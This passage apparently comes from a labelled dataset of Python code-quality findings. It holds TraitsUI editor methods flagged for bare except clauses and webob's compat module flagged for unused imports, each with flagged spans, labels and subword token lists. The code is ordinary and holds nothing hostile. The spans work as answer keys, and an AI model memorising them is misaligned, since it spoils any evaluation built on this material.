\"\"\"\n if self._no_enum_update == 0:\n value = self.control.GetValue()\n try:\n value = self.mapping[ value ]\n except:\n try:\n value = self.factory.evaluate( value )\n except Exception as excp:\n self.error( excp )\n return\n\n self._no_enum_update += 1\n try:\n self.value = value\n self.control.SetBackgroundColour( OKColor )\n self.control.Refresh()\n except:\n pass\n self._no_enum_update -= 1", "metadata": "root.SimpleEditor.update_text_object", "header": "['class', 'SimpleEditor', '(', 'BaseEditor', ')', ':', '___EOS___']", "index": 258 }, { "content": " def update_editor ( self ):\n \"\"\" Updates the editor when the object trait changes externally to the\n editor.\n \"\"\"\n if self._no_enum_update == 0:\n if self.factory.evaluate is None:\n try:\n self.control.SetStringSelection(\n self.inverse_mapping[ self.value ] )\n except:\n pass\n else:\n try:\n self.control.SetValue( self.str_value )\n except:\n pass", "metadata": "root.SimpleEditor.update_editor", "header": "['class', 'SimpleEditor', '(', 'BaseEditor', ')', ':', '___EOS___']", "index": 295 }, { "content": " def update_object ( self, event ):\n \"\"\" Handles the user clicking one of the custom radio buttons.\n \"\"\"\n try:\n self.value = event.GetEventObject().value\n except:\n pass", "metadata": "root.RadioEditor.update_object", "header": "['class', 'RadioEditor', '(', 'BaseEditor', ')', ':', '___EOS___']", "index": 401 }, { "content": " def update_object ( self, event ):\n \"\"\" Handles the user selecting a list box item.\n \"\"\"\n if not self._ignore_update:\n value = self.control.GetStringSelection()\n try:\n value = self.mapping[ value ]\n except:\n try:\n value = self.factory.evaluate( value )\n except:\n pass\n try:\n self.value = value\n except:\n pass", "metadata": "root.ListEditor.update_object", "header": "['class', 'ListEditor', '(', 'BaseEditor', ')', ':', '___EOS___']", "index": 521 }, { "content": " def update_editor ( self ):\n \"\"\" Updates the editor when the object trait changes externally to the\n editor.\n \"\"\"\n control = self.control\n try:\n index = control.FindString( self.inverse_mapping[ self.value ] )\n if index >= 0:\n control.SetSelection( index )\n except:\n pass", "metadata": "root.ListEditor.update_editor", "header": "['class', 'ListEditor', '(', 'BaseEditor', ')', ':', '___EOS___']", "index": 542 } ]
[ { "span": "except:", "start_line": 248, "start_column": 8, "end_line": 248, "end_column": 15 }, { "span": "except:", "start_line": 265, "start_column": 12, "end_line": 265, "end_column": 19 }, { "span": "except:", "start_line": 277, "start_column": 12, "end_line": 277, "end_column": 19 }, { "span": "except:", "start_line": 304, "start_column": 16, "end_line": 304, "end_column": 23 }, { "span": "except:", "start_line": 309, "start_column": 16, "end_line": 309, "end_column": 23 }, { "span": "except:", "start_line": 406, "start_column": 8, "end_line": 406, "end_column": 15 }, { "span": "except:", "start_line": 528, "start_column": 12, "end_line": 528, "end_column": 19 }, { "span": "except:", "start_line": 531, "start_column": 16, "end_line": 531, "end_column": 23 }, { "span": "except:", "start_line": 535, "start_column": 12, "end_line": 535, "end_column": 19 }, { "span": "except:", "start_line": 551, "start_column": 8, "end_line": 551, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Simple", "Editor_", "(_", "Base", "Editor_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update", "\\u", "object_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Handle", "s", " ", "the", " ", "user", " ", "selecti", "ng", " ", "a", " ", "new", " ", "value", " ", "from", " ", "the", " ", "combo", " ", "box", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "no", "\\u", "enum", "\\u", "update_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "value_", "=_", "self_", "._", "mapping_", "[_", "event_", "._", "Get", "String_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "new", "\\u", "value_", "==_", "self_", "._", "value_", "and_", "self_", "._", "factory_", "._", "is", "\\u", "grid", "\\u", "cell_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "the", " ", "enum", " ", "editor", " ", "is", " ", "in", " ", "a", " ", "grid", " ", "cell", " ", "and", " ", "the", " ", "value", " ", "did", " ", "not_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "change", ",", " ", "we", " ", "want", " ", "the", " ", "enum", " ", "editor", " ", "to", " ", "go", " ", "awa", "y", ",", " ", "revert", "ing", " ", "back", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "normal", " ", "cell", " ", "appearance", ".", " ", "Thi", "s", " ", "is", " ", "for", " ", "2", " ", "reasons", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "1", ".", " ", "it", " ", "look", "s", " ", "nice", "r_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "2", ".", " ", "if", " ", "the", " ", "grid", " ", "id", " ", "sud", "den", "ly", " ", "close", "d", ",", " ", "wx", " ", "fre", "ak", "s", " ", "&", " ", "caus", "es", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "seg", "fault_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "grid_", "=_", "self_", "._", "control_", "._", "Parent_", "._", "Parent_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "grid_", "._", "Enable", "Editing", "_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "grid_", "._", "Enable", "Editing", "_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "value_", "=_", "new", "\\u", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "traits", "ui_", "._", "api_", "import_", "raise", "\\u", "to", "\\u", "debug_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise", "\\u", "to", "\\u", "debug_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "no", "\\u", "enum", "\\u", "update_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Simple", "Editor_", "(_", "Base", "Editor_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update", "\\u", "text", "\\u", "object_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Handle", "s", " ", "the", " ", "user", " ", "typ", "ing", " ", "text", " ", "int", "o", " ", "the", " ", "combo", " ", "box", " ", "text", " ", "entry", " ", "field", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "no", "\\u", "enum", "\\u", "update_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "self_", "._", "control_", "._", "Get", "Value_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "self_", "._", "mapping_", "[_", "value_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "value_", "=_", "self_", "._", "factory_", "._", "evaluate_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "exc", "p_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "error_", "(_", "exc", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "no", "\\u", "enum", "\\u", "update_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "value_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "control_", "._", "Set", "Back", "ground", "Colour_", "(_", "OK", "Color_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "control_", "._", "Refresh_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "no", "\\u", "enum", "\\u", "update_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Simple", "Editor_", "(_", "Base", "Editor_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update", "\\u", "editor_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Update", "s", " ", "the", " ", "editor", " ", "whe", "n", " ", "the", " ", "object", " ", "tra", "it", " ", "change", "s", " ", "external", "ly", " ", "to", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "editor", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "no", "\\u", "enum", "\\u", "update_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "factory_", "._", "evaluate_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "control_", "._", "Set", "String", "Selection_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "inv", "erse", "\\u", "mapping_", "[_", "self_", "._", "value_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "control_", "._", "Set", "Value_", "(_", "self_", "._", "str", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Radio", "Editor_", "(_", "Base", "Editor_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update", "\\u", "object_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Handle", "s", " ", "the", " ", "user", " ", "click", "ing", " ", "one", " ", "of", " ", "the", " ", "custom", " ", "radio", " ", "buttons", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "value_", "=_", "event_", "._", "Get", "Event", "Object_", "(_", ")_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "List", "Editor_", "(_", "Base", "Editor_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update", "\\u", "object_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Handle", "s", " ", "the", " ", "user", " ", "selecti", "ng", " ", "a", " ", "list", " ", "box", " ", "item", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "self_", "._", "\\u", "ignore", "\\u", "update_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "self_", "._", "control_", "._", "Get", "String", "Selection_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "self_", "._", "mapping_", "[_", "value_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "value_", "=_", "self_", "._", "factory_", "._", "evaluate_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "value_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "List", "Editor_", "(_", "Base", "Editor_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update", "\\u", "editor_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Update", "s", " ", "the", " ", "editor", " ", "whe", "n", " ", "the", " ", "object", " ", "tra", "it", " ", "change", "s", " ", "external", "ly", " ", "to", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "editor", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "control_", "=_", "self_", "._", "control_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "index_", "=_", "control_", "._", "Fin", "d", "String_", "(_", "self_", "._", "inv", "erse", "\\u", "mapping_", "[_", "self_", "._", "value_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "index_", ">=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "control_", "._", "Set", "Selection_", "(_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2 ]
Unused import
AppScale/appscale/AppServer/lib/webob-1.2.3/webob/compat.py
[ { "content": "# code stolen from \"six\"\n\nimport sys\nimport types\n\n# True if we are running on Python 3.\nPY3 = sys.version_info[0] == 3\n\nif PY3: # pragma: no cover\n string_types = str,\n integer_types = int,\n class_types = type,\n text_type = str\n long = int\nelse:\n string_types = basestring,\n integer_types = (int, long)\n class_types = (type, types.ClassType)\n text_type = unicode\n long = long\n\n# TODO check if errors is ever used\n\n\n\nif PY3: # pragma: no cover\nelse:\n\ntry:\n from queue import Queue, Empty\nexcept ImportError:\n from Queue import Queue, Empty\n\nif PY3: # pragma: no cover\n from urllib import parse\n urlparse = parse\n from urllib.parse import quote as url_quote\n from urllib.parse import urlencode as url_encode, quote_plus\n from urllib.request import urlopen as url_open\nelse:\n import urlparse\n from urllib import quote_plus\n from urllib import quote as url_quote\n from urllib import unquote as url_unquote\n from urllib import urlencode as url_encode\n from urllib2 import urlopen as url_open\n\nif PY3: # pragma: no cover\nelse: # pragma: no cover\n exec(\"def reraise(exc): raise exc[0], exc[1], exc[2]\")\n\n\nif PY3: # pragma: no cover\nelse:\n\n\nif PY3: # pragma: no cover\n\n\n\nelse:\n from urlparse import parse_qsl\n\n\n\nif PY3: # pragma no cover\n from html import escape\nelse:\n from cgi import escape\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def text_(s, encoding='latin-1', errors='strict'):\n if isinstance(s, bytes):\n return s.decode(encoding, errors)\n return s", "metadata": "root.text_", "header": "['module', '___EOS___']", "index": 23 }, { "content": "def bytes_(s, encoding='latin-1', errors='strict'):\n if isinstance(s, text_type):\n return s.encode(encoding, errors)\n return s", "metadata": "root.bytes_", "header": "['module', '___EOS___']", "index": 28 }, { "content": " def native_(s, encoding='latin-1', errors='strict'):\n if isinstance(s, text_type):\n return s\n return str(s, encoding, errors)", "metadata": "root.native_", "header": "['module', '___EOS___']", "index": 34 }, { "content": " def native_(s, encoding='latin-1', errors='strict'):\n if isinstance(s, text_type):\n return s.encode(encoding, errors)\n return str(s)", "metadata": "root.native_", "header": "['module', '___EOS___']", "index": 39 }, { "content": " def reraise(exc_info):\n etype, exc, tb = exc_info\n if exc.__traceback__ is not tb:\n raise exc.with_traceback(tb)\n raise exc", "metadata": "root.reraise", "header": "['module', '___EOS___']", "index": 64 }, { "content": " def iteritems_(d):\n return d.items()", "metadata": "root.iteritems_", "header": "['module', '___EOS___']", "index": 74 }, { "content": " def itervalues_(d):\n return d.values()", "metadata": "root.itervalues_", "header": "['module', '___EOS___']", "index": 76 }, { "content": " def iteritems_(d):\n return d.iteritems()", "metadata": "root.iteritems_", "header": "['module', '___EOS___']", "index": 79 }, { "content": " def itervalues_(d):\n return d.itervalues()", "metadata": "root.itervalues_", "header": "['module', '___EOS___']", "index": 81 }, { "content": " def unquote(string):\n if not string:\n return b''\n res = string.split(b'%')\n if len(res) != 1:\n string = res[0]\n for item in res[1:]:\n try:\n string += bytes([int(item[:2], 16)]) + item[2:]\n except ValueError:\n string += b'%' + item\n return string", "metadata": "root.unquote", "header": "['module', '___EOS___']", "index": 86 }, { "content": " def url_unquote(s):\n return unquote(s.encode('ascii')).decode('latin-1')", "metadata": "root.url_unquote", "header": "['module', '___EOS___']", "index": 99 }, { "content": " def parse_qsl_text(qs, encoding='utf-8'):\n qs = qs.encode('latin-1')\n qs = qs.replace(b'+', b' ')\n pairs = [s2 for s1 in qs.split(b'&') for s2 in s1.split(b';') if s2]\n for name_value in pairs:\n nv = name_value.split(b'=', 1)\n if len(nv) != 2:\n nv.append('')\n name = unquote(nv[0])\n value = unquote(nv[1])\n yield (name.decode(encoding), value.decode(encoding))", "metadata": "root.parse_qsl_text", "header": "['module', '___EOS___']", "index": 102 }, { "content": " def parse_qsl_text(qs, encoding='utf-8'):\n qsl = parse_qsl(\n qs,\n keep_blank_values=True,\n strict_parsing=False\n )\n for (x, y) in qsl:\n yield (x.decode(encoding), y.decode(encoding))", "metadata": "root.parse_qsl_text", "header": "['module', '___EOS___']", "index": 117 } ]
[ { "span": "from queue import Queue, Empty", "start_line": 45, "start_column": 4, "end_line": 45, "end_column": 34 }, { "span": "from Queue import Queue, Empty", "start_line": 47, "start_column": 4, "end_line": 47, "end_column": 34 }, { "span": "from urllib.parse import quote as url_quote", "start_line": 52, "start_column": 4, "end_line": 52, "end_column": 47 }, { "span": "from urllib.parse import urlencode as url_encode, quote_plus", "start_line": 53, "start_column": 4, "end_line": 53, "end_column": 64 }, { "span": "from urllib.request import urlopen as url_open", "start_line": 54, "start_column": 4, "end_line": 54, "end_column": 50 }, { "span": "from html import escape", "start_line": 128, "start_column": 4, "end_line": 128, "end_column": 27 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "code", " ", "sto", "len", " ", "from", " ", "\"", "si", "x", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "types_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tru", "e", " ", "if", " ", "we", " ", "are", " ", "runn", "ing", " ", "on", " ", "Pyth", "on", " ", "3._", "\\u\\u\\uNL\\u\\u\\u_", "PY", "3_", "=_", "sys_", "._", "version", "\\u", "info_", "[_", "0_", "]_", "==_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "PY", "3_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "string", "\\u", "types_", "=_", "str_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "integ", "er", "\\u", "types_", "=_", "int_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class", "\\u", "types_", "=_", "type_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text", "\\u", "type_", "=_", "str_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "long_", "=_", "int_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "string", "\\u", "types_", "=_", "basestring_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "integ", "er", "\\u", "types_", "=_", "(_", "int_", ",_", "long_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class", "\\u", "types_", "=_", "(_", "type_", ",_", "types_", "._", "Class", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text", "\\u", "type_", "=_", "unicode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "long_", "=_", "long_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", " ", "check", " ", "if", " ", "error", "s", " ", "is", " ", "ever", " ", "used_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "PY", "3_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "queue_", "import_", "Queue_", ",_", "Empty_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "Queue_", "import_", "Queue_", ",_", "Empty_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "PY", "3_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "urllib_", "import_", "parse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "urlparse_", "=_", "parse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "urllib_", "._", "parse_", "import_", "quote_", "as_", "url", "\\u", "quote_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "urllib_", "._", "parse_", "import_", "urlencode_", "as_", "url", "\\u", "encode_", ",_", "quote", "\\u", "plus_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "urllib_", "._", "request_", "import_", "urlopen_", "as_", "url", "\\u", "open_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "urlparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "urllib_", "import_", "quote", "\\u", "plus_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "urllib_", "import_", "quote_", "as_", "url", "\\u", "quote_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "urllib_", "import_", "unquote_", "as_", "url", "\\u", "unquote_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "urllib_", "import_", "urlencode_", "as_", "url", "\\u", "encode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "urllib2_", "import_", "urlopen_", "as_", "url", "\\u", "open_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "PY", "3_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exec_", "(_", "\"", "def", " ", "reraise", "(", "exc", "):", " ", "raise", " 